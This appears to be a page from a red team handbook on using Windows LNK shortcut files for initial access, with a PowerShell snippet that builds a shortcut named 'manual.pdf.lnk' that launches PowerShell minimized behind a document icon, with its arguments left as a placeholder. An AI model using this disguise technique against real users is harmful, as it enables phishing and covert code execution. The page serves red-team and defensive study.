> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk.md).

# LNK

LNK is the file extension used for shortcuts in Windows. These shortcuts can run an executable with arbitrary parameters. 

You can use the GUI to change the icon and parameters of a LNK file, or you could do it programmatically like so:

```
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("manual.pdf.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = '-args '
$Shortcut.WindowStyle      = 7
                           # 7 = Minimized window
                           # 3 = Maximized window
                           # 1 = Normal    window
$Shortcut.HotKey           = "CTRL+O"
$Shortcut.Save()
```